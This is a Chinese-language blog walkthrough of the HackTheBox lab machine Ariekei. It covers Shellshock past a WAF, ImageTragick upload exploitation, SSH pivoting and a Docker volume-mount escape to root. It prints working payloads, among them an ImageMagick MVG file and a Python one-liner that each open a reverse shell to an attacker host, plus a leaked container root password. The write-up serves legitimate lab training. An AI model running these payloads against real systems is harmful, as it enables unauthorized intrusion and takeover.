本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
大家好,这里是 大余安全 的第 120 篇文章,本公众号会每日分享攻防渗透技术给大家。
靶机地址:https://www.hackthebox.eu/home/machines/profile/115
靶机难度:高级(5.0/10)
靶机发布日期:2018 年 3 月 8 日
靶机描述:
Ariekei is a complex machine focusing mainly on web application firewalls and pivoting techniques. This machine is by far one of the most challenging, requiring multiple escalations and container breakouts.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的 IP 是 10.10.10.65....
Nmap 发现了一个 nginx 服务器和两个运行不同版本的 OpenSSH 服务器,这表明系统上可能正在运行某种容器或虚拟环境.... 可能是服务于不同的网站...
正常页面访问提示正在维护...
在凭证发现了两个 DNS 域名.... 添加到 hosts...
利用 dirbuster 爆破目录刚开始就报出了 / cgi-bin/stats 存在 shellshock 漏洞利用....
先访问该目录,这是一个 shell 脚本.... 提供了很多有用信息...
docroot 设置用户的主目录:DOCUMENT_ROOT=/home/spanishdancer/content
后端服务器版本为:SERVER_SOFTWARE=Apache/2.2.22 (Debian) 与我们在标头中实际获得的版本不同,应该使用了某种类型的反向代理或 WAF 等情况...
服务器的内部 IP 地址为:172.24.0.2....
curl -k -H "User-Agent: () { :; }; /bin/eject" https://10.10.10.65/cgi-bin/stats
通过提示,直接利用 shellshock 漏洞攻击,发现一个表情符号,该表情符号将在我们尝试利用它时持续存在,应该是有一个 Web 应用程序防火墙在保护服务器免受攻击....(WAF)
访问两个域名,一个是 Not Found 报错,一个重定向回到了原始 web 页面...
挂着利用 dirb 和 gobuster 爆破目录发现都存在 upload 目录信息... 下载 upload 一般文件上传利用了...GO
标题表明这是图像转换器,随意上传文件后没任何反应...
这里经过 google 查询,图像转换器可能容易受到 Imagetragick 的攻击,Imagetragick 是 ImageMagick 库中较著名的利用方法之一...
可看到随意搜索 Imagetragick 攻击都能找到 shell 代码.... 利用即可
创建了 mvg 文件来利用此漏洞....
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.51/4444 0<&1 2>&1")'ms
pop graphic-context
通过简单一句话 shell 提权成功提权...root 权限???
这里限制非常多,无法读取 flag 信息,先枚举吧.... 上传 LinEnum
这里发现提权的这台是在 Docker 容器中,根据 nmap 扫描,应该是存在多台服务器情况...
下载的权限就在一个监狱当中,需要越狱突出重围的感觉... 限制非常多,有 WAF 或者堡垒机等安全设备....
存在 docker 容器,mount -l 查看挂载的文件,找到一个名为 / common 的目录....
在 commin 目录下存在很多子目录... 里面存在很多很多提权开拓思路的信息....
这里发现了映射的信息... 知道了服务器设备 IP 之间的映射关系
查看 arp 后,发现 172.23.0.252,应该是 WAF 设备 IP....
可以看到为容器设置了硬编码的 root 密码...
Container 具有两个网络和两个 IP 172.24.0.253 和 172.23.0.253,表明它是双宿主的...
主机上端口 1022 公开的 SSH 服务....NMAP 也发现了...
继续找到. secrets 的隐藏目录... 找到名为 bastion_key 和 bastion_key.pub 文件...rsa 密匙...ssh 利用即可
直接利用 ssh 成功登陆... 这里检查还是在 docker 容器中....
可以看到 docker 系统的 IP 地址...
前面文件上传提权查看到 start.sh
就知道了其中一些容器在实时网络和测试网络上都是双宿主的,目前所在的容器 convert-live 位于实时网络中,但 bastion-live 我们刚刚通过 SSH 登录的容器位于两者中...
这种网络布局的有趣之处在于,这 waf-live 是在端口 443 上向我们公开的设备,而它所做的就是在我们与 blog-test 容器之间路由流量,攻击 stats 脚本时看到的那些图像是通过生成 waf-live 枚举中的容器文件时看到的图像 / common....
这是 nginx.confin 中的摘录 waf-live,说明 ModSecurity 在充当 WAF...ModSecurityEnabled on;ModSecurityConfig modsecurity.conf;
前面就知道在进行目录爆破扫描期间,找到了 / cgi-bin/stats / 目录容易受到 shellshock 的攻击,但是由于 Web 应用程序防火墙的原因无法利用它,由于 waf-live 在端口 443 和我们之间进行流量路由并在端口 443 上进行着,因此可以从服务器内部利用 Shellshock 漏洞....
二、提权
方法 1:
利用 EXP 直接绕过 WAF 提权...
测试发现是存在可内部利用 Shellshock 漏洞...
为了避免受到保护,直接从此容器发起攻击即可,该容器可以通过另一个子网完全绕过 waf...
python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats
利用 Shellshock 漏洞可执行的 34900_EXP 进行提权... 成功绕过进入了... 获得了 www-data 权限... 但这不是一个稳定的外壳...
目前信息收集中拥有 Dockerfile 中的密码 root:Ib3!kTEvYw6*P7s,因此我们所要做的就是生成一个 tty,直接就可以使用 su 进行 root 升级....
这里可以利用 MSF 的 web_delivery 生成 tty,获得别的方式... 自行尝试....
后续提权方法在方法 2 中演示...
方法 2:
远程端口转发提权....
利用 - L 和 - R 进行端口转发....
可看到本地存在 22 端口...
这里只需利用 ssh 将 8888 在 kali 上启动,当从 kali 链接 8888 端口时,该链接就会转向堡垒机的 22 端口...
可看到成功端口转发 8888 端口到 22...
然后进行 ssh -p 8888 -i id_rsa 127.0.0.1
成功本地登陆...
我们知道存在真实 flag 的服务器 IP 是 172.24.0.2:80 上... 继续建桥
继续将 9999 端口转发到 80,可看到本地已监听...
前面通过本地 8888 转发到堡垒 22,现在将本地 9999 转发到真实服务 80 上.... 测试下
转发到了 https://10.10.10.65/cgi-bin/stats....
这里前面就知道不稳定外壳,我直接利用 BP 拦截注入了....
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
利用稳定外壳....shell
可以看到,我是将端口都转发到 kali 本地,利用 Shellshock 漏洞进行提权... 但是提权需要在堡垒上进行 NC 监听获得外壳...
这里会出现非常多的不方便,需要继续转发到本地 kali 上做外壳....
直接转发即可... 转发到了 6666 端口上...
当本地执行提权后,所有的流量都走端口转发到了我本地的机子上...
成功在本地获得反向外壳 www 低权用户....
通过前面信息收集在 Dockerfile 获取的 root 密匙,用 python 启动 pty shell,然后 su 到 root.... 获得了 user_flag 信息....
继续搜索隐藏目录,在本目录下找到. ssh 的目录,找到三个文件 authorized_keys,id_rsa 和 id_rsa.pub... 存在 RSA 密钥...
保存到本地,进行破解... 获得了密码...(跳过了简单操作,讲很多次了)
有密匙凭证 + 密码,直接 ssh 登陆... 直接获得了 spanishdancer 用户权限外壳...
这里就直接进入用户了,不会通过 waf 和堡垒机的限制了....
这里靶机用户是 docker 容器状态,又在 upload 时知道 Upload Image 图像转换器...
直接检查了 Docker 映像.... 发现 bash 映像可利用....
https://fosterelli.co/privilege-escalation-via-docker.html
这有一篇文章介绍了 docker images 内核提权...
docker run -it -v /:/opt bash bash
直接 bash 提权即可... 获得了 root 权限... 获得了 root_flag 信息...
信息收集 + dir 目录爆破 + shellshock 漏洞利用 + 文件上传提权 + 信息枚举分析 + rsa 密匙爆破提权 + 端口转发利用或 EXP 利用绕过堡垒机和防火墙 + docker images 内核提权....
这台靶机学到了很多很多思路想法,这台靶机主要思路非常广泛,需要搭桥需要跨越不然拿不到 flag...
方法除了 EXP 和 docker images 内核提权方法没用过,其余都是非常熟悉的方法,学习新思路,加油!!!
由于我们已经成功得到 root 权限查看 user 和 root.txt,因此完成这台高级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~
随缘收徒中~~ 随缘收徒中~~ 随缘收徒中~~
欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!
大余安全
一个全栈渗透小技巧的公众号